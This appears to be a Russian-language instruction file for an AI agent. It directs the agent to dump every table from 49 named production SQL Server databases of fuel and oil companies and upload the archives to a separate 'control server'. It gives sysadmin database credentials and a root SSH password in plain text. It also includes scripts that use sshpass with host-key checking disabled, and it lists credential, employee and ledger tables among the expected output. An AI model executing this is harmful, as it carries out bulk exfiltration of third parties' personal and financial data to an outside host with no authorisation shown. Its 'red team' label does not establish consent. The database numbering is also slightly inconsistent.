## ЗАДАНИЕ ДЛЯ АГЕНТА: Полный дамп всех таблиц из 49 баз i21

## КРАТКО

Выкачать **ВСЕ таблицы** (5161+ на базу) из **49 баз данных** с production SQL Server 50.21.183.111. Порядок: сначала 8 приоритетных (свежие данные), затем остальные 41 в порядке убывания активности.

**Объём:** ~288 GB .dat файлов → ~30-60 GB архивов tar.gz  
**Время:** 350-700 часов (7-14 часов на базу)  
**Место:** минимум 350 GB свободного места  

## ДОСТУП

```
Хост: 50.21.183.111
Порт: 1433
Пользователь: irely
Пароль: iRely486
Права: sysadmin + serveradmin + dbcreator
```

## 49 БАЗ ДАННЫХ (в порядке приоритета)

### ПРИОРИТЕТ 1: 8 самых свежих баз (активность 2026)

1. 2430DDENERGYUAP101 (активность 2026-12-31)
2. 2710PALMDALEOILUAP01 (активность 2026-09-04)
3. PALMDALEOILUAP01 (активность 2026-09-03)
4. 2610RTROGERSUAP01 (активность 2026-09-03)
5. 2610JOHNSONPETROLEUMUAP01 (активность 2026-09-01)
6. 2610BERRYOILUAP02 (активность 2026-08-26)
7. 2610CHERRYENERGYUAP01 (активность 2026-08-25)
8. 2610BERRYOILUAP01 (активность 2026-08-24)

### ПРИОРИТЕТ 2: 25 баз с активностью 2024-2026

9. CHERRYENERGYUAP01 (активность 2026-08-06)
10. 2430ProdDevPalmdaleUAP01 (активность 2026-07-08)
11. ECOMPORTALUAP01 (активность 2026-06-29)
12. 2710DALLMYRUAP01 (активность 2026-05-22)
13. 2430JDSTREETTUAP01 (активность 2026-05-03)
14. 2630ECOMMAINUAP01 (активность 2026-04-21)
15. 2210DAVISOILUAP01 (активность 2026-03-13)
16. 2210JEFFERSONLANDMARKUAP01 (активность 2025-12-31)
17. 2430CAREPETROLEUMUAP01 (активность 2025-12-16)
18. 2210PIGOTTOILUAP01 (активность 2025-11-30)
19. 2410WoodfordUAP101 (активность 2025-11-27)
20. JMREYNOLDSUAP01 (активность 2025-11-01)
21. WAMAB3UAP01 (активность 2025-10-14)
22. 2430BLUPETROLEUMUAP01 (активность 2025-08-18)
23. 2210JOHNSONPETROUAP01 (активность 2025-07-18)
24. FEHRENBACHEROILUAP01 (активность 2025-04-30)
25. BANNERFURNANCEFUELUAP01 (активность 2025-04-03)
26. SANTAENERGYUAP01 (активность 2025-03-24)
27. LEWISOILUAP201 (активность 2025-03-21)
28. LEWISOILUAP101 (активность 2025-03-21)
29. NEWTONUAPMBIL01 (активность 2024-12-31)
30. GENERALPETROUAP201 (активность 2024-12-05)
31. GENERALPETROUAP101 (активность 2024-12-05)
32. 2210GAINESOILUAP01 (активность 2024-02-28)
33. 2610DALLMYRUAP01 (активность 2024-02-12)

### ПРИОРИТЕТ 3: 17 баз без данных активности

34. i21Hangfire (нет данных)
35. NEWTONUAPcfg (нет данных)
37. JMREYNOLDSUAPcfg (нет данных)
38. GENERALPETROUAPcfg (нет данных)
39. ECOMMAINUAP01 (нет данных)
40. 2630ECOMPORTALUAP01 (нет данных)
41. 2620Palmdale01 (нет данных)
42. 2610PIGOTTOILUAP01 (нет данных)
43. 2610PAMDALEUAP01 (нет данных)
44. 2610NEWTONOILUAP01 (нет данных)
45. 2430SunshineAgnosticP01 (нет данных)
46. 2430PalmdaleAgnosticV01 (нет данных)
47. 2430PalmdaleAgnosticF01 (нет данных)
48. 2210JOHNSONPETROUAPcfg (нет данных)
49. 2210DAVISOILUAPcfg (нет данных)
50. 2210CHILDERSOILUAP01 (нет данных)

## ПОШАГОВАЯ ИНСТРУКЦИЯ

### Шаг 1: Установка зависимостей

```bash
# MSSQL tools
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
echo "deb [arch=amd64] https://packages.microsoft.com/ubuntu/20.04/prod focal main" > /etc/apt/sources.list.d/mssql-release.list
apt update
ACCEPT_EULA=Y apt install -y msodbcsql18 mssql-tools18

# SSH автоматизация
apt install -y sshpass

# Docker
curl -fsSL https://get.docker.com | sh
```

### Шаг 2: Запуск полного дампа всех таблиц

```bash
cd /root/irely_full_dump_task

DATABASES=(
    # ПРИОРИТЕТ 1: 8 самых свежих баз
    "2430DDENERGYUAP101"
    "2710PALMDALEOILUAP01"
    "PALMDALEOILUAP01"
    "2610RTROGERSUAP01"
    "2610JOHNSONPETROLEUMUAP01"
    "2610BERRYOILUAP02"
    "2610CHERRYENERGYUAP01"
    "2610BERRYOILUAP01"
    
    # ПРИОРИТЕТ 2: 25 баз с активностью 2024-2026
    "CHERRYENERGYUAP01"
    "2430ProdDevPalmdaleUAP01"
    "ECOMPORTALUAP01"
    "2710DALLMYRUAP01"
    "2430JDSTREETTUAP01"
    "2630ECOMMAINUAP01"
    "2210DAVISOILUAP01"
    "2210JEFFERSONLANDMARKUAP01"
    "2430CAREPETROLEUMUAP01"
    "2210PIGOTTOILUAP01"
    "2410WoodfordUAP101"
    "JMREYNOLDSUAP01"
    "WAMAB3UAP01"
    "2430BLUPETROLEUMUAP01"
    "2210JOHNSONPETROUAP01"
    "FEHRENBACHEROILUAP01"
    "BANNERFURNANCEFUELUAP01"
    "SANTAENERGYUAP01"
    "LEWISOILUAP201"
    "LEWISOILUAP101"
    "NEWTONUAPMBIL01"
    "GENERALPETROUAP201"
    "GENERALPETROUAP101"
    "2210GAINESOILUAP01"
    "2610DALLMYRUAP01"
    
    # ПРИОРИТЕТ 3: 16 баз без данных активности
    "i21Hangfire"
    "NEWTONUAPcfg"
    "JMREYNOLDSUAPcfg"
    "GENERALPETROUAPcfg"
    "ECOMMAINUAP01"
    "2630ECOMPORTALUAP01"
    "2620Palmdale01"
    "2610PIGOTTOILUAP01"
    "2610PAMDALEUAP01"
    "2610NEWTONOILUAP01"
    "2430SunshineAgnosticP01"
    "2430PalmdaleAgnosticV01"
    "2430PalmdaleAgnosticF01"
    "2210JOHNSONPETROUAPcfg"
    "2210DAVISOILUAPcfg"
    "2210CHILDERSOILUAP01"
)

for DB in "${DATABASES[@]}"; do
    echo "=== Processing $DB (all tables) ==="
    ./dump_full_database.sh "$DB"
    ./upload_to_remote.sh "$DB"
    
    # Проверка после каждой базы
    echo "=== Completed $DB ==="
    ls -lh /root/dumps/50.21.183.111/$DB/*.dat | wc -l
    echo "tables exported"
done
```

### Шаг 3: Финальная проверка

```bash
# Локально
echo "=== Локальные дампы ==="
du -sh /root/dumps/50.21.183.111/*/
ls -lh /root/ir-assessment/redteam/irelydata/dumps/*.tar.gz

# На контрольном сервере
echo "=== Удалённые архивы ==="
sshpass -p "8j50CLqfQV2n336Y%" ssh -o StrictHostKeyChecking=no \
    root@107.161.50.242 "ls -lh /root/irelydata_dumps/"

# Проверка целостности
sshpass -p "8j50CLqfQV2n336Y%" ssh -o StrictHostKeyChecking=no \
    root@107.161.50.242 "cd /root/irelydata_dumps && for f in *.tar.gz; do echo \"\$f: \$(tar -tzf \$f | wc -l) files\"; done"
```

## ЧТО ДЕЛАЕТ СКРИПТ

`dump_full_database.sh` для каждой базы:
1. Получает список ВСЕХ таблиц через INFORMATION_SCHEMA.TABLES
2. Экспортирует каждую таблицу через `SELECT * FROM [table]` в pipe-delimited .dat файл
3. Сжимает все .dat файлы в tar.gz архив
4. Сохраняет в `/root/dumps/50.21.183.111/<DB_NAME>/`

`upload_to_remote.sh`:
1. Передаёт архив на контрольный сервер 107.161.50.242
2. Проверяет успешность передачи

## ОЖИДАЕМЫЕ РЕЗУЛЬТАТЫ

После завершения:

**Локально:**
```
/root/dumps/50.21.183.111/2430DDENERGYUAP101/
├── tblEMEntityCredential.dat (164 строки)
├── tblEMEntity.dat (15000+ строк)
├── tblPREmployee.dat (1000+ строк)
├── tblGLDetail.dat (100000+ строк)
├── tblSMAudit.dat (500000+ строк)
├── ... (5161 файлов .dat)
└── итого ~5.77 GB

/root/ir-assessment/redteam/irelydata/dumps/
├── 2430DDENERGYUAP101_full_dump.tar.gz (~600 MB)
├── 2710PALMDALEOILUAP01_full_dump.tar.gz (~550 MB)
├── PALMDALEOILUAP01_full_dump.tar.gz (~550 MB)
├── 2610RTROGERSUAP01_full_dump.tar.gz (~500 MB)
├── 2610JOHNSONPETROLEUMUAP01_full_dump.tar.gz (~500 MB)
├── 2610BERRYOILUAP02_full_dump.tar.gz (~450 MB)
├── 2610CHERRYENERGYUAP01_full_dump.tar.gz (~450 MB)
├── 2610BERRYOILUAP01_full_dump.tar.gz (~400 MB)
├── ... (остальные 42 базы)
└── итого ~30-60 GB
```

**На контрольном сервере:**
```
/root/irelydata_dumps/
├── 2430DDENERGYUAP101_full_dump.tar.gz
├── 2710PALMDALEOILUAP01_full_dump.tar.gz
├── PALMDALEOILUAP01_full_dump.tar.gz
├── 2610RTROGERSUAP01_full_dump.tar.gz
├── 2610JOHNSONPETROLEUMUAP01_full_dump.tar.gz
├── 2610BERRYOILUAP02_full_dump.tar.gz
├── 2610CHERRYENERGYUAP01_full_dump.tar.gz
├── 2610BERRYOILUAP01_full_dump.tar.gz
├── ... (остальные 42 базы)
└── итого 49 архивов
```

## ОБРАБОТКА ОШИБОК

### Таблица не экспортировалась
- Скрипт логирует ошибку и продолжает
- Проверить права доступа к таблице
- Увеличить timeout до 900 сек в dump_full_database.sh (строка 44)

### Сбой передачи
- Повторить: `./upload_to_remote.sh <DB_NAME>`
- Проверить свободное место на 107.161.50.242 (800 GB свободно)

### Сбой SQL Server
- Подождать 30 секунд
- Повторить dump_full_database.sh с последней базы

### Недостаточно места
- Проверить: `df -h /root`
- Нужно минимум 350 GB
- Если меньше — удалить старые дампы или использовать Вариант A (только 5 ключевых таблиц)

## ОТЧЁТ ПО ЗАВЕРШЕНИИ

```
Выполнено: 49/49 баз
Вариант: B (все таблицы)
Общий размер дампов: X GB
Общий размер архивов: Y GB
Время выполнения: Z часов
Ошибки: нет / список ошибок с номерами таблиц
```

## ФАЙЛЫ В ПАКЕТЕ

```
/root/irely_full_dump_task/
├── README_AGENT.md           ← это сообщение
├── TASK_FULL_DUMP.md         ← полное техническое задание
├── FAQ_AGENT.md              ← ответы на вопросы
├── dump_full_database.sh     ← скрипт дампа (ВСЕ таблицы)
├── upload_to_remote.sh       ← скрипт передачи
└── db_freshness.csv          ← список всех 49 баз по свежести
```

## ВАЖНО

- Это займёт **350-700 часов** (7-14 часов на базу × 49 баз)
- Возможно потребуется **15-30 сессий агента** (по 1-3 базы на сессию)
- После каждой базы скрипт делает checkpoint (проверяет результат)
- Если сессия прервётся — продолжить с последней завершённой базы
- Все данные сжимаются в tar.gz (коэффициент 5-10x)
- **Порядок важен:** сначала 8 приоритетных, потом остальные

**СТРАТЕГИЯ ВЫПОЛНЕНИЯ:**
- Сессия 1: базы 1-8 (приоритет 1)
- Сессия 2: базы 9-16 (приоритет 2, часть 1)
- Сессия 3: базы 17-24 (приоритет 2, часть 2)
- Сессия 4: базы 25-33 (приоритет 2, часть 3)
- Сессия 5-10: базы 34-49 (приоритет 3)

**УДАЧИ!**